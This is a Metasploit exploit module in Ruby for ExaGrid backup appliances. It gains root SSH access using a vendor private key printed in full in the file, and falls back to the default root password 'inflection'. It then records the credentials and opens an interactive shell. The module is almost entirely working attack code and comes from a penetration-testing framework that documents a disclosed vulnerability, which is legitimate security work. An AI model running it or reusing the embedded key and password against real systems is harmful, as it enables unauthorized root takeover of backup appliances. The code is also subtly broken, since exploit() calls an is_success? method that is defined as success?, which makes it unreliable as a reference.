##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'ExaGrid Known SSH Key and Default Password',
          'Description' => %q{
            ExaGrid ships a public/private key pair on their backup appliances to
            allow passwordless authentication to other ExaGrid appliances.  Since
            the private key is easily retrievable, an attacker can use it to gain
            unauthorized remote access as root. Additionally, this module will
            attempt to use the default password for root, 'inflection'.
          },
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Privileged' => true,
          'Targets' => [ [ 'Universal', {} ] ],
          'Payload' => {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
          'Author' => ['egypt'],
          'License' => MSF_LICENSE,
          'References' => [
            [ 'CVE', '2016-1560' ], # password
            [ 'CVE', '2016-1561' ], # private key
            [ 'URL', 'https://www.rapid7.com/blog/post/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ],
            [ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
          ],
          'DisclosureDate' => '2016-04-07',
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          }
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(ssh_options)
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)
      ssh_socket = nil

      return conn
    else
      return false
    end
  end

  # Ghetto hack to prevent the shell detection logic from hitting false
  # negatives due to weirdness with ssh sockets. We already know it's a shell
  # because auth succeeded by this point, so no need to do the check anyway.
  module TrustMeItsAShell
    def _check_shell(*_args)
      true
    end
  end

  def exploit
    payload_instance.extend(TrustMeItsAShell)

    ssh_options = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      key_data: [ key_data ],
      port: rport
    })
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    conn = do_login(ssh_options)

    unless is_success?(conn, true)
      ssh_options[:auth_methods] = ['password']
      ssh_options[:password] = 'inflection'
      ssh_options.delete(:key_data)
      conn = do_login(ssh_options)
      is_success?(conn, false)
    end
  end

  def success?(conn, key_based)
    if conn
      print_good 'Successful login'
      service_data = {
        address: rhost,
        port: rport,
        protocol: 'tcp',
        service_name: 'ssh',
        workspace_id: myworkspace_id
      }
      credential_data = {
        username: 'root',
        private_type: (key_based ? :ssh_key : :password),
        private_data: (key_based ? key_data : 'inflection'),
        origin_type: :service,
        module_fullname: fullname
      }.merge(service_data)

      core = create_credential(credential_data)
      login_data = {
        core: core,
        last_attempted: Time.now
      }.merge(service_data)

      create_credential_login(login_data)

      handler(conn.lsock)
      true
    else
      false
    end
  end

  def key_data
    <<~EOF
      -----BEGIN RSA PRIVATE KEY-----
      MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
      hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
      E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
      GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
      BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
      AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
      iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
      Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
      QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
      ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
      XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
      86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
      x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
      -----END RSA PRIVATE KEY-----
    EOF
  end
end
